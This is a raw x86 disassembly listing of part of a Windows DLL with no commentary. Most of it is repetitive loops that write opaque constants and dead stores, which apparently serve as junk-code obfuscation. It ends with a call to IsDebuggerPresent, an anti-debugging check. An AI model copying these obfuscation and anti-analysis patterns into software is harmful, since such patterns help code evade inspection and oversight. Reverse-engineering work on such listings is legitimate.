mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ecx
jg 0x10037b19
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10037899
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x130], 0x6e838462
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10037880
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x100378b9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1040], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100378a1
xor eax, eax
mov dword [ebp - 0x12c], ecx
cmp dword [ebp - 0x12c], eax
jl 0x10037b04
mov dword [ebp - 0x8d4], ebx
mov dword [ebp - 0x8d0], ebx
mov dword [ebp - 0x8cc], ebx
mov dword [ebp - 0x8c8], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10037903
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd0], 0xb61bab59
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100378eb
xor eax, eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], ecx
jg 0x10037a77
mov dword [ebp - 0x40], 0x78dc2a82
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x48], 0x6e90
mov dword [ebp - 0x40], eax
jmp 0x10037a52
mov dword [ebp - 0x28], 0x1b552bf3
mov dword [ebp - 0x3c], 0x30fc3532
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x10037a00
mov dword [ebp - 0x34], 0xd021
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp + eax*4 - 0x3d4]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0
jne 0x10037988
mov eax, dword [ebp - 0xd0]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x3d4], ebx
je 0x1003798c
cmp dword [ebp - 0x14], ebx
je 0x1003798c
mov eax, esi
jmp 0x1003798e
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x8c8], 0xa93826a0
cmp eax, 0xa93826a0
mov eax, dword [ebp - 0x28]
push 3
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xd0]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x3d4]
cmp ebx, eax
setge cl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0
pop ecx
jmp 0x100379ed
cmp dword [ebp - 0x44], eax
jne 0x10037a45
mov edx, dword [ebp - 0x130]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
sub edx, eax
mov eax, dword [ebp - 0x12c]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
add eax, 6
add eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3d4]
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x8d4], 0xffffffff
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jle 0x10037932
cmp dword [ebp - 0x48], eax
jne 0x10037a72
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x10037af8
mov dword [ebp - 0x34], 0xffffffff
cmp dword [ebp - 0x12c], eax
je 0x10037ab1
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3d0]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x3d4], ecx
je 0x10037aaf
mov edx, esi
jmp 0x10037ab3
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x130]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
push 3
sete cl
xor edx, edx
cmp ecx, 0xffffffff
mov eax, dword [ebp + eax*4 - 0x3d4]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x1040], ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x44], 0
pop ecx
jne 0x10037af6
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], ecx
jle 0x10037a7f
xor eax, eax
dec dword [ebp - 0x12c]
jns 0x100378cb
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x44]
push 0
pop eax
cmp dword [ebp - 0x44], ecx
jle 0x10037877
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x3b8], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ecx
jg 0x10037de9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10037b69
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11c], 0x6e838462
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10037b50
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10037b89
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1058], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037b71
xor eax, eax
mov dword [ebp - 0x118], ecx
cmp dword [ebp - 0x118], eax
jl 0x10037dd4
mov dword [ebp - 0x8ec], ebx
mov dword [ebp - 0x8e8], ebx
mov dword [ebp - 0x8e4], ebx
mov dword [ebp - 0x8e0], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10037bd3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcc], 0xb61bab59
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10037bbb
xor eax, eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], ecx
jg 0x10037d47
mov dword [ebp - 0x40], 0x78dc2a82
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x48], 0x6e90
mov dword [ebp - 0x40], eax
jmp 0x10037d22
mov dword [ebp - 0x28], 0x1b552bf3
mov dword [ebp - 0x3c], 0x30fc3532
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x10037cd0
mov dword [ebp - 0x34], 0xd021
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0x3c4]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0
jne 0x10037c58
mov eax, dword [ebp - 0xcc]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x3c4], ebx
je 0x10037c5c
mov eax, esi
jmp 0x10037c5e
cmp dword [ebp - 0x44], eax
jne 0x10037d15
mov edx, dword [ebp - 0x11c]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
sub edx, eax
mov eax, dword [ebp - 0x118]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
add eax, 6
add eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c4]
push 3
xor eax, eax
pop ecx
mov dword [ebp - 0x8ec], 0xffffffff
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jle 0x10037c02
cmp dword [ebp - 0x48], eax
jne 0x10037d42
inc dword [ebp - 0xcc]
cmp dword [ebp - 0xcc], ecx
jle 0x10037be5
mov ebx, 0x4d39d982
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x10037dc8
mov dword [ebp - 0x34], 0xffffffff
cmp dword [ebp - 0x118], eax
je 0x10037d81
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x3c4], ecx
je 0x10037d7f
mov edx, esi
jmp 0x10037d83
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x11c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
push 3
sete cl
xor edx, edx
cmp ecx, 0xffffffff
mov eax, dword [ebp + eax*4 - 0x3c4]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x1058], ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x44], 0
pop ecx
jne 0x10037dc6
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], ecx
jle 0x10037d4f
xor eax, eax
dec dword [ebp - 0x118]
jns 0x10037b9b
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x44]
push 0
pop eax
cmp dword [ebp - 0x44], ecx
jle 0x10037b47
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x3e0], ecx
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3d8], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ecx
jg 0x100380b7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10037e39
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x144], 0x6e838462
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10037e20
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10037e59
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1070], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037e41
xor eax, eax
mov dword [ebp - 0x140], ecx
cmp dword [ebp - 0x140], eax
jl 0x100380a2
mov dword [ebp - 0x904], ebx
mov dword [ebp - 0x900], ebx
mov dword [ebp - 0x8fc], ebx
mov dword [ebp - 0x8f8], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10037ea3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbc], 0xb61bab59
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10037e8b
xor eax, eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], ecx
jg 0x10038015
mov dword [ebp - 0x40], 0x78dc2a82
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x48], 0x6e90
mov dword [ebp - 0x40], eax
jmp 0x10037ff0
mov dword [ebp - 0x28], 0x1b552bf3
mov dword [ebp - 0x3c], 0x30fc3532
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x10037f9e
mov dword [ebp - 0x34], 0xd021
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x3e4]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0
jne 0x10037f28
cmp dword [ebp - 0x44], eax
jne 0x10037fe3
cmp dword [ebp - 0x40], ecx
jle 0x10037ed2
cmp dword [ebp - 0x48], eax
jne 0x10038010
inc dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], ecx
jle 0x10037eb5
mov ebx, 0x4d39d982
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x10038096
mov dword [ebp - 0x34], 0xffffffff
cmp dword [ebp - 0x140], eax
je 0x1003804f
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x3e0]
mov eax, dword [ebp - 0x3e0]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x3e4], ecx
je 0x1003804d
mov edx, esi
jmp 0x10038051
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
push 3
sete cl
xor edx, edx
cmp ecx, 0xffffffff
mov eax, dword [ebp + eax*4 - 0x3e4]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x1070], ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x44], 0
pop ecx
jne 0x10038094
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], ecx
jle 0x1003801d
xor eax, eax
dec dword [ebp - 0x140]
jns 0x10037e6b
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x44]
push 0
pop eax
cmp dword [ebp - 0x44], ecx
jle 0x10037e17
mov dword [ebp - 0x2c], 0x477862f
mov dword [ebp - 0x20], esi
push 6
mov dword [ebp - 0x10], 0xa1e2510a
pop edx
mov dword [ebp - 0x30], 0xfffc
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 0xfffffff3
push 0x13
pop ebx
jge 0x10038320
jmp 0x100380e6
xor eax, eax
mov dword [ebp - 0x48], 0xeb1ec6c0
mov dword [ebp - 0x34], 7
push 4
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x10038117
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1b8], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100380ff
xor eax, eax
mov dword [ebp - 0x1b4], 0x18
cmp dword [ebp - 0x1b4], ebx
jle 0x10038201
jmp 0x10038131
xor eax, eax
mov dword [ebp - 0x3c], 0x9f3b06d9
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003815b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x264], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10038143
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100381ce
mov ecx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x2c]
sub ecx, eax
cmp ecx, dword [ebp - 0x1b0]
jg 0x10038179
mov eax, dword [ebp - 0x264]
mov eax, dword [ebp - 0x264]
imul eax, dword [ebp - 0x2c]
test eax, eax
je 0x1003818a
mov eax, esi
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x5f40
setg cl
mov dword [ebp - 0x20], ecx
dec dword [ebp - 0x1b4]
cmp dword [ebp - 0x1b4], ebx
jg 0x1003812f
push 3
pop ecx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 9
jl 0x10038310
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ecx
jg 0x10038300
mov dword [ebp - 0x38], 0xfb49a5c1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], eax
jl 0x100382ac
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x28], eax
jmp 0x1003824e
cmp dword [ebp - 0x28], ecx
jle 0x10038241
cmp dword [ebp - 0x34], eax
je 0x100382ba
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x1b0]
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x44]
push 3
setne bl
mov ecx, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x44]
imul ecx, ebx
mov dword [ebp + eax*4 - 0x1b8], ecx
inc dword [ebp - 0x44]
pop ecx
push 0
pop eax
cmp dword [ebp - 0x44], ecx
jle 0x10038226
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 9
jge 0x10038210
push 0x13
pop ebx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff3
jl 0x100380e4
push 6
pop edx
mov dword [ebp - 0x2c], 0x477862f
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x10], 0xa1e2510a
mov dword [ebp - 0x30], 0xfffc
mov dword [ebp - 0x2c], edx
jmp 0x1003855e
mov dword [ebp - 0x48], 0xeb1ec6c0
push 4
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x10], 0
pop ecx
jmp 0x10038367
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1cc], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003835a
mov dword [ebp - 0x1c8], 0x18
jmp 0x10038440
mov dword [ebp - 0x3c], 0x9f3b06d9
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x10], 0
jmp 0x100383a3
cmp dword [ebp - 0x1c8], ebx
jg 0x1003837b
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 9
jl 0x10038558
cmp dword [ebp - 0x2c], 0xfffffff3
jl 0x10038340
mov dword [ebp - 0x1c], 0x9b55bb2c
xor eax, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x40], 0x3fa9a180
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], 0xf484
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x100385a8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3f4], 0xb7f609b2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10038590
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffef
jl 0x100385db
mov dword [ebp - 0x3c], 0xbdf7cd95
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], esi
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffef
jge 0x100385b1
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x100386e1
mov dword [ebp - 0x20], 0xb94b
mov dword [ebp - 0x34], esi
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1003860d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb6c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100385f9
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x10038626
cmp dword [ebp - 0x14], ebx
jl 0x10038615
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10038701
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x89c], 0x58c9e433
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100386e9
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x10038712
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], esi
jg 0x10038762